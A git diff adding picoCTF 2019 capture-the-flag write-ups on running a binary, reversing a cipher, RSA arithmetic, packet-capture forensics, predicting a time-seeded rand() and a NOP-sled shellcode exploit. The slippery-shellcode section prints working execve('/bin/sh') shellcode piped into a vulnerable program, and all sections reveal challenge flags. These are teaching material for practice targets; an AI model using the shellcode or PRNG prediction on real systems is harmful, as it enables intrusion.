--git a/writeups/picoCTF19/practiceRun1.md b/writeups/picoCTF19/practiceRun1.md new file mode 100644 index 0000000..4183f46 --- /dev/null +++ b/writeups/picoCTF19/practiceRun1.md @@ -0,0 +1,32 @@ +# PicoCTF 2019 - practice-run-1 +Author: PinkNoize + +Binary Exploitation - 50 + +> You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag. + +## TL;DR + +The challenge provides a program that prints the flag. Run the program to solve the challenge. + +# Writeup + +The challenge directs us to `/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e` and tells us that we need to run this program to get the flag. + +Let's start by listing this directory. The `ls` command lets us list files in a directory. The `-a` flag tells `ls` to show hidden files. The `-l` flag tell `ls` to show permissions, owner, group, file size, modification dates and file name. + +```bash +user@pico-2019-shell1:~$ ls -al /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e +total 84 +drwxr-xr-x 2 root root 4096 Sep 28 2019 . +drwxr-x--x 684 root root 69632 Oct 10 2019 .. +-rwxr-sr-x 1 hacksports practice-run-1_0 7252 Sep 28 2019 run_this +``` + +We see that there is an executable in that directory named `run_this`. As the description told us to do, let's run the program. + +```bash +user@pico-2019-shell1:~$ /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e/run_this +picoCTF{g3t_r3adY_2_r3v3r53} +``` +The program prints the flag and all thats left is to submit the flag. \ No newline at end of file diff --git a/writeups/picoCTF19/reverseCipher.md b/writeups/picoCTF19/reverseCipher.md new file mode 100644 index 0000000..e20a59f --- /dev/null +++ b/writeups/picoCTF19/reverseCipher.md @@ -0,0 +1,124 @@ +# PicoCTF 2019 - reverse_cipher +Author: PinkNoize + +Reverse Engineering - 300 + +> We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server. + +## TL;DR + + + +# Writeup + +This challenge provides us with a directory containing an executable (that we can't execute), a flag file and another text file. + +```bash +user@pico-2019-shell1:/problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d$ ls -al +total 104 +drwxr-xr-x 2 root root 4096 Sep 28 2019 . +drwxr-x--x 684 root root 69632 Oct 10 2019 .. +-r--r----- 1 hacksports reverse-cipher_0 24 Sep 28 2019 flag.txt +-rw-rw-r-- 1 hacksports hacksports 16856 Sep 28 2019 rev +-rw-rw-r-- 1 hacksports hacksports 24 Sep 28 2019 rev_this +``` + +Let's see what is in that text file. + +```bash +user@pico-2019-shell1:/problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d$ cat rev_this +picoCTF{w1{1wq87g_9654g} +``` + +This seems like the flag but if we try submitting it, it won't work. Perhaps `rev` can help us determine what the flag is. + +```bash +user@pico-2019-shell1:/problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d$ file rev +rev: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=523d51973c11197605c76f84d4afb0fe9e59338c, not stripped +``` + +This is a 64 bit executable and the source is not provided so we will have to reverse engineer the executable. I will be using [Cutter](https://cutter.re/) for this, but any [reverse engineering tool](tools/tools.md#reverse-engineering) will work. + +First, we will open `rev` with Cutter. You can download `rev` from the challenge description. + +![](assets/reverseCipherCutterEntry.png) + +Cutter first opens the binary at `entry0` using the Ghidra decompiler. In most normal binaries `entry0` calls `__libc_start_main` which sets up the libc enviroment and starts `main`. Knowing this we can skip straight to `main`. + +NOTE: We are using the decompiler to complete this challenge because it works pretty well with this binary. You should still take a look at the disassembly and the graph as those will help you when the decompiler fails you. Having the skills to understand assembly and manually translate to a higher level language will greatly help you in reverse engineering binaries. + +![](assets/reverseCipherCutterMain.png) + +As we can see from the decompilation, this program starts by opening two file, `flag.txt` and `rev_this`, and printing error codes if the files don't exist. The program then reads 0x18 bytes from `flag.txt` into `ptr`. This is one place where the decompiler is misleading. The decompiler identifies the type of `ptr` to be a `void *`, but it is actually a char[] of about 0x17 bytes. This can be checked from Cutter's automatic analysis in the disassembly. + +```gas +324: int main (int argc, char **argv, char **envp); +; var void *ptr @ rbp-0x50 +; var int64_t var_39h @ rbp-0x39 +; var size_t var_24h @ rbp-0x24 +; var file*var_20h @ rbp-0x20 +; var file*stream @ rbp-0x18 +; var signed int64_t var_ch @ rbp-0xc +; var signed int64_t var_8h @ rbp-0x8 +; var int64_t c @ rbp-0x1 +``` + +From this we can see that `ptr` is located at rbp-0x50 and the next local variable is at rbp-0x39. This means there are at least 0x17 bytes allocated for ptr (0x50 - 0x39 = 0x17). There may be more space allocated for `ptr` and the analysis happens to pick up local variables for accesses to constant indices of `ptr`. This is hinted at by the size argument to `fread` of 0x18. + +For more information on library functions such as `fread`, try the command `man fread` (or google that). + +To continue the analysis of the program, the program reads the flag into `ptr` using `fread`. The program then runs a loop that writes the first 8 bytes of the flag to `rev_this`. This means that the first 8 bytes of the flag is the first 8 bytes of `rev_this`. This loop is similar to the one below using python... + +```python +for i in range(8): + rev_this.append(flag[i]) +``` + +The program then runs another loop. This loop adds 0x5 if the index is even and subtracts 2 if its odd. This loop is similar to the python code below... + +```python +for i in range(8,0x17): + if i % 2 == 0: + rev_this.append(flag[i] + 5) + else: + rev_this.append(flag[i] - 2) +``` + +The program then writes `var_39h` to `rev_this`. Based off the decompilation, `var_39h` does not appear to be initialized. We can view the disassembly to figure out its value. + +```gas +324: int main (int argc, char **argv, char **envp); +; var void *ptr @ rbp-0x50 +; var int64_t var_39h @ rbp-0x39 +``` + +As noted previously `ptr` is only 0x17 bytes long but `fread` reads 0x18 bytes. Since `var_39h` begins right after `ptr` and `fread` reads one byte after `ptr`, we can conclude that `var_39h` contains the last byte read from `fread`, which is the last byte of the flag. + +To conclude the analysis, we can see that the "picoCTF{" and the ending "}" are left untouched in `rev_this`. The rest of the bytes have some value added or subtracted depending on the index. We can now write a python script to recover the original flag. + +```python +mod_flag = bytearray("picoCTF{w1{1wq87g_9654g}",'utf-8') + +for i in range(8,0x17): + if i % 2 == 0: + mod_flag[i] -= 5 + else: + mod_flag[i] += 2 + +print(mod_flag.decode()) +``` + +When we run this script we get the flag. + +```python +>>> mod_flag = bytearray("picoCTF{w1{1wq87g_9654g}",'utf-8') +>>> +>>> for i in range(8,0x17): +... if i % 2 == 0: +... mod_flag[i] -= 5 +... else: +... mod_flag[i] += 2 +... +>>> print(mod_flag.decode()) +picoCTF{r3v3rs39ba4806b} +``` \ No newline at end of file diff --git a/writeups/picoCTF19/rsaPopQuiz.md b/writeups/picoCTF19/rsaPopQuiz.md new file mode 100644 index 0000000..b5662d1 --- /dev/null +++ b/writeups/picoCTF19/rsaPopQuiz.md @@ -0,0 +1,194 @@ +# PicoCTF 2019 - rsa-pop-quiz +Author: PinkNoize + +Cryptography - 200 + +> Class, take your seats! It's PRIME-time for a quiz... `nc 2019shell1.picoctf.com 49989` + +# Writeup + +This challenge gives us a netcat command to run which quizzes us on our knowledge of RSA. I recommend reading and using the [RSA Algorithm Wiki Page](https://simple.wikipedia.org/wiki/RSA_algorithm) linked in the hint as a cheatsheet. + +Upon connecting the first question we get asked is, +``` +Good morning class! It's me Ms. Adleman-Shamir-Rivest +Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do! +You will need to tell me if each example is possible, given your extensive crypto knowledge. +Inputs and outputs are in decimal. No hex here! +#### NEW PROBLEM #### +q : 60413 +p : 76753 +##### PRODUCE THE FOLLOWING #### +n +IS THIS POSSIBLE and FEASIBLE? (Y/N) +``` + +As `n = p*q`, this is feasible and we could do this calculation by hand if we wanted to. I will be using python for all calculations. + +```python +>>> 60413*76753 +4636878989 +``` + +We then get asked + +``` +#### NEW PROBLEM #### +p : 54269 +n : 5051846941 +##### PRODUCE THE FOLLOWING #### +q +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +This uses the same equation and is feasible. We can solve this by rearranging the equation above, `q = n/p`. + +```python +>>> 5051846941/54269 +93089.0 +``` + +The next question is + +``` +#### NEW PROBLEM #### +e : 3 +n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 +##### PRODUCE THE FOLLOWING #### +q +p +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +This question is essentially asking us to factor the two primes that make up n. That is a hard problem and part of what secures RSA. This is not feasible. + +We are then asked + +``` +#### NEW PROBLEM #### +q : 66347 +p : 12611 +##### PRODUCE THE FOLLOWING #### +totient(n) +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +As defined by the [Euler's totient function wikipedia page](https://simple.wikipedia.org/wiki/Euler%27s_totient_function), "the totient of a positive integer is the number of positive integers smaller than n which are coprime to n (they share no factors except 1)." + +We can define a function in python to calculate the totient. + +```python +import math +def totient(n): + t = 0 + # iterate over all smaller positive integers + for i in range(n): + # check if coprime + if math.gcd(i,n) == 1: + t += 1 + return t +``` + +While the code above is correct, if you try it you will see that this takes forever. We can use the equation listed on the RSA algorithm page, `Φ(n) = (p-1)(q-1)`. This equation exploits that p and q are prime along with n's construction. + +```python +>>> (66347-1)*(12611-1) +836623060 +``` + +The next question is + +``` +#### NEW PROBLEM #### +plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 +e : 3 +n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 +##### PRODUCE THE FOLLOWING #### +ciphertext +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +As the encryption equation is `c = m^e mod n` and we have all the components, this is feasible. + +```python +>>> m = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 +>>> e = 3 +>>> n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 +>>> pow(m, e, n) +256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813 +``` + +NOTE: This equation is known as modular exponentiation. If you try to compute this by calculating m^e first then doing the mod after (`m**e % n`), it will take a long time when a large e is used. `pow()` with 3 arguments uses an efficient algorithm. + +We are then asked + +``` +#### NEW PROBLEM #### +ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 +e : 3 +n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 +##### PRODUCE THE FOLLOWING #### +plaintext +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +This question asks us to decrypt the ciphertext given the public key (e) and the public modulus(n). If we could do this, RSA would be useless so it is not feasible. + +``` +#### NEW PROBLEM #### +q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 +p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 +e : 65537 +##### PRODUCE THE FOLLOWING #### +d +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +This question asks us to calculate the private key given, p,q and e. As described in the RSA algorithm wiki page, d is calculated by `d = (1 + x*Φ(n))/e` where x and d are integers. `d` can also be computed of the modular inverse of e and Φ(n). + +```python +>>> p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 +>>> q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 +>>> e = 65537 +>>> pow(e, -1, (p-1)*(q-1)) +1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729 +``` + +The next question is + +``` +#### NEW PROBLEM #### +p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 +ciphertext : 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464 +e : 65537 +n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 +##### PRODUCE THE FOLLOWING #### +plaintext +IS THIS POSSIBLE and FEASIBLE? (Y/N): +``` + +The decryption equation is `m = c^d mod n`. We have c and n but not d. We can calculate d using p, n and e so it is feasible. + +```python +>>> c = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464 +>>> n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 +>>> e = 65537 +>>> p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 +>>> q = n//p # integer division to avoid float error +>>> d = pow(e, -1, (p-1)*(q-1)) +>>> pow(c, d, n) +14311663942709674867122208214901970650496788151239520971623411712977120545970596944152836477 +``` + +After submitting the last answer we get instructions to get the flag. + +``` +If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;) +``` + +```python +>>> int.to_bytes(14311663942709674867122208214901970650496788151239520971623411712977120545970596944152836477, 40, 'big') +b'\x00\x00picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}' +``` + +As shown above the flag is `picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}`. diff --git a/writeups/picoCTF19/seed-sPRiNG.md b/writeups/picoCTF19/seed-sPRiNG.md new file mode 100644 index 0000000..666a427 --- /dev/null +++ b/writeups/picoCTF19/seed-sPRiNG.md @@ -0,0 +1,231 @@ +# PicoCTF 2019 - seed-sPRiNG +Author: PinkNoize + +Binary Exploitation - 350 + +> The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with `nc 2019shell1.picoctf.com 32233`. + +## TL;DR + +This challenge provides a program that generates random numbers and asks to guess them. Use the current time to seed the PRNG to recover the random numbers to get the flag. + +# Writeup + +This challenge provides us with a binary and a netcat command, `nc 2019shell1.picoctf.com 32233`. The binary is a 32-bit binary and I will be using [Cutter](https://cutter.re/) to reverse engineer it. When we connect, we get a prompt asking us how high we will fly. + +```bash +┌─[user@hostname]─[~] +└──╼ $nc 2019shell1.picoctf.com 32233 + + + + # mmmmm mmmmm " mm m mmm + mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " + # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm + """m #"""" #"""" # # """m # # "m # # # # # # + "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" + + + +Welcome! The game is easy: you jump on a sPRiNG. +How high will you fly? + +LEVEL (1/30) + +Guess the height: 24 +WRONG! Sorry, better luck next time! +``` + +Connecting show us that we have to guess the height right 30 times in a row. If we want to accurately predict that we should start by reverse engineering the binary. Below is `main` decompiled. + +```c +// WARNING: Variable defined which should be unmapped: var_8h +// WARNING: [r2ghidra] Failed to match type time_t for variable seed to Decompiler type: Unknown type identifier time_t +// WARNING: [r2ghidra] Failed to match type signed int for variable var_ch to Decompiler type: Unknown type identifier +// signed +// WARNING: [r2ghidra] Var argv is stack pointer based, which is not supported for decompilation. + +undefined4 main(void) +{ + uint32_t uVar1; + int32_t unaff_EBX; + int32_t **ppiVar2; + int32_t *apiStack44 [3]; + int32_t iStack32; + int32_t var_18h; + uint32_t var_14h; + int32_t seed; + undefined *var_ch; + int32_t var_8h; + + var_ch = &stack0x00000004; + __x86.get_pc_thunk.bx(); + puts(unaff_EBX + 0x2ca); + puts(unaff_EBX + 0x2ca); + puts(unaff_EBX + 0x2da); + puts(unaff_EBX + 0x32a); + puts(unaff_EBX + 0x37a); + puts(unaff_EBX + 0x3ca); + puts(unaff_EBX + 0x41a); + puts(unaff_EBX + 0x46a); + puts(unaff_EBX + 0x2da); + puts(unaff_EBX + 0x2ca); + puts(unaff_EBX + 0x2ca); + puts(unaff_EBX + 0x4ba); + puts(unaff_EBX + 0x4eb); + puts(unaff_EBX + 0x2ca); + fflush(**(undefined4 **)(unaff_EBX + 0x187e)); + var_14h = time(0); + srand(var_14h); + ppiVar2 = apiStack44 + 3; + seed = 1; + while (seed < 0x1f) { + *(int32_t *)((int32_t)ppiVar2 + -0xc) = seed; + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x502; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x8c9; + printf(); + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x2ca; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x8db; + puts(); + *(undefined4 *)((int32_t)ppiVar2 + -4) = 0x8e3; + uVar1 = rand(); + var_18h = uVar1 & 0xf; + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x511; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x8f8; + printf(); + *(undefined4 *)((int32_t)ppiVar2 + -0x10) = **(undefined4 **)(unaff_EBX + 0x187e); + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x90c; + fflush(); + *(int32_t ***)((int32_t)ppiVar2 + -0xc) = apiStack44 + 3; + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x524; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x922; + __isoc99_scanf(); + *(undefined4 *)((int32_t)ppiVar2 + -0x10) = **(undefined4 **)(unaff_EBX + 0x187a); + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x936; + fflush(); + if (var_18h != iStack32) { + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x52a; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x950; + puts(); + *(undefined4 *)((int32_t)ppiVar2 + -0x10) = **(undefined4 **)(unaff_EBX + 0x187e); + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x964; + fflush(); + *(undefined4 *)((int32_t)ppiVar2 + -0x10) = 0xffffffff; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x971; + exit(); + ppiVar2 = (int32_t **)((int32_t)ppiVar2 + -0x10); + } + seed = seed + 1; + } + *(int32_t *)((int32_t)ppiVar2 + -0x10) = unaff_EBX + 0x552; + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x98e; + puts(); + *(undefined4 *)((int32_t)ppiVar2 + -4) = 0x996; + get_flag(); + *(undefined4 *)((int32_t)ppiVar2 + -0x10) = **(undefined4 **)(unaff_EBX + 0x187e); + *(undefined4 *)((int32_t)ppiVar2 + -0x14) = 0x9a7; + fflush(); + return 0; +} +``` + +Although the decompilation is messed up, we can still get the important information out of it. First, we can see that there is a large while loop. In the while loop we can see that `if var_18h != iStack32` then the program exits. `iStack32` is probably the user input from the call to `__isoc99_scanf` as `var_18h` is assigned further above. `var_18h` is set by a call to `rand() & 0xF`. If we guessed randomly we would have a 1/16 chance per each level, which means it would be unlikely that we get all 30 levels correct. So in order to guess all 30 levels correct we are going to have to predict `rand`. This is actually pretty easy to do as all software based random number generators are what are known as pseudorandom number generators (PRNGs), which are deterministic based on the seed value. By reading the man page for `rand` we learn that the random generator is seeded by a call to `srand`. As this program seeds the generator with the current time, we can seed a generator on our machine with the same value to predict the random numbers. `var_14h = time(0); srand(var_14h);` + +As much as I would like to solve this using python, it would introduce many problems as the binary is 32 bit (if you have 32-bit python this doesn't apply). If the binary was 64-bit we would be able to use ctypes to call `srand` and `rand` in python. Since it is 32 bit we have to build a 32-bit binary that generates the random numbers for us. The code for this is below and can be compiled with `gcc -m32 rand_gen.c -o rand_gen`. This binary must be 32-bit to use the same 32-bit libc that seed_spring does. + +```c +// rand_gen.c +#include +#include +#include + +int main() { + srand(time(0)); + for(int i=0;i<30;i++) + printf("%d\n", rand()&0xF); +} +``` + +Then to solve you can run `./rand_gen | nc 2019shell1.picoctf.com 32233`. + +NOTE: Running this on a machine other then 2019shell1.picoctf.com may not work as the other machine may have a different time or libc. + +```bash +PinkNoize@pico-2019-shell1:~$ ./rand_gen | nc 2019shell1.picoctf.com 32233 + + + + # mmmmm mmmmm " mm m mmm + mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " + # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm + """m #"""" #"""" # # """m # # "m # # # # # # + "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" + + + +Welcome! The game is easy: you jump on a sPRiNG. +How high will you fly? + +LEVEL (1/30) + +Guess the height: LEVEL (2/30) + +Guess the height: LEVEL (3/30) + +Guess the height: LEVEL (4/30) + +Guess the height: LEVEL (5/30) + +Guess the height: LEVEL (6/30) + +Guess the height: LEVEL (7/30) + +Guess the height: LEVEL (8/30) + +Guess the height: LEVEL (9/30) + +Guess the height: LEVEL (10/30) + +Guess the height: LEVEL (11/30) + +Guess the height: LEVEL (12/30) + +Guess the height: LEVEL (13/30) + +Guess the height: LEVEL (14/30) + +Guess the height: LEVEL (15/30) + +Guess the height: LEVEL (16/30) + +Guess the height: LEVEL (17/30) + +Guess the height: LEVEL (18/30) + +Guess the height: LEVEL (19/30) + +Guess the height: LEVEL (20/30) + +Guess the height: LEVEL (21/30) + +Guess the height: LEVEL (22/30) + +Guess the height: LEVEL (23/30) + +Guess the height: LEVEL (24/30) + +Guess the height: LEVEL (25/30) + +Guess the height: LEVEL (26/30) + +Guess the height: LEVEL (27/30) + +Guess the height: LEVEL (28/30) + +Guess the height: LEVEL (29/30) + +Guess the height: LEVEL (30/30) + +Guess the height: picoCTF{pseudo_random_number_generator_not_so_random_6c0fef32265de90489279a99eec7743c}Congratulation! You've won! Here is your flag: + +``` diff --git a/writeups/picoCTF19/sharkOnWire1.md b/writeups/picoCTF19/sharkOnWire1.md new file mode 100644 index 0000000..a435750 --- /dev/null +++ b/writeups/picoCTF19/sharkOnWire1.md @@ -0,0 +1,28 @@ +# PicoCTF 2019 - shark on wire 1 +Author: PinkNoize + +Forensics - 150 + +> We found this [packet capture](https://2019shell1.picoctf.com/static/ae9ca8cff43ed638ed5d137f9ece7455/capture.pcap). Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620. + +## TL;DR + +This challenge provides a PCAP file. Search UDP streams for the flag. + +# Writeup + +This challenge provides us with a pcap file, which is a file containing captured network traffic. We can start by opening this file with [wireshark](https://www.wireshark.org/). + +![](assets/sharkOnWire1Wireshark.png) + +We then can filter for TCP as it is one of the most common protocols used in the internet. We can filter by typing `tcp` into the filter bar above. + +![](assets/sharkOnWire1TCP.png) + +We can now view the packets and follow the TCP streams but nothing interesting comes up. Lets try filtering by `udp` now. This gives us a lot of packets so we can search for the string 'pico' as we know it is the flag. You can do this by clicking on the Edit tab and clicking "Find Packet" or Ctrl + F. Set up the search like in the image below. + +![](assets/sharkOnWire1UDPSearch.png) + +This yields some some packets with the string pico, but nothing other than that. If we go to the first set of UDP packets, we see that the first many are of LEN=1. Clicking through these show that the characters, p, i, c, o, show up in that order. We can then follow the UDP stream by right-clicking on the packet 63 and clicking follow then UDP stream. + +This result is the flag, `picoCTF{StaT31355_636f6e6e}`. diff --git a/writeups/picoCTF19/slipperyShellcode.md b/writeups/picoCTF19/slipperyShellcode.md new file mode 100644 index 0000000..0b82623 --- /dev/null +++ b/writeups/picoCTF19/slipperyShellcode.md @@ -0,0 +1,65 @@ +# picoCTF 2019 - slippery-shellcode +Author: PinkNoize + +Binary Exploitation - 200 + +> This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1 on the shell server. + +## TL;DR + +This challenge provides a program that executes user-supplied shellcode starting at a "random" offset. Provide shellcode with a nop sled to solve. + +# Writeup + +This challenge is almost identical to [handy-shellcode](handyShellcode.md) with the only difference being that instead of the program jumping to the start of the supplied shellcode, its starts at a "random" offset in the shellcode. + +```c +((void (*)())(buf+offset))(); +``` + +We can see that the offset is calculated using a simple equation. + +```c +int offset = (rand() % 256) + 1; +``` + +It starts by getting a "random" number from `rand()` and [modulos](https://en.wikipedia.org/wiki/Modulo_operation) it with 256, then adds 1. This means that 0 < `offset` <= 256. To avoid having the program jump to the middle of our shellcode, we can place it after 256 bytes which will mean that our shellcode will always start at the beginning. As code will still run in the buffer before our shellcode we have to put machine code that will essentially do nothing. The perfect instruction for the job, is `nop`. `Nop`, encoded as 0x90, does nothing except increment the instruction pointer (eip). We can put 256 `nop`s before our shellcode so that when the program jumps to a random place in the start of the buffer, it executes `nop`s until it eventually hits our shellcode. This is known as a [nop sled](). + +```gas +nop +nop +nop <- jumps here +nop +. +. +. +nop + <- runs through the nops until it hits here +``` +We will be using the same [shellcode](https://www.exploit-db.com/shellcodes/13670) as we used in [handy-shellcode](handyShellcode.md). We can create the payload now ... + +```bash +user@pico-2019-shell1:/problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1$ python -c 'print b"\x90"*256 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"' +����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� + [1�1�1Ұ + ̀�����/bin/sh +``` + +We can use the same technique as before to allow us to enter commands after. + +```bash +PinkNoize@pico-2019-shell1:/problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1$ (python -c 'print b"\x90"*256 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"';cat) | ./vuln +Enter your shellcode: +����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� + [1�1�1Ұ + ̀�����/bin/sh +Thanks! Executing from a random location now... +id +uid=19100(user) gid=8861(slippery-shellcode_6) groups=8861(slippery-shellcode_6),1002(competitors),19101(user) +cat flag.txt +picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6} +``` 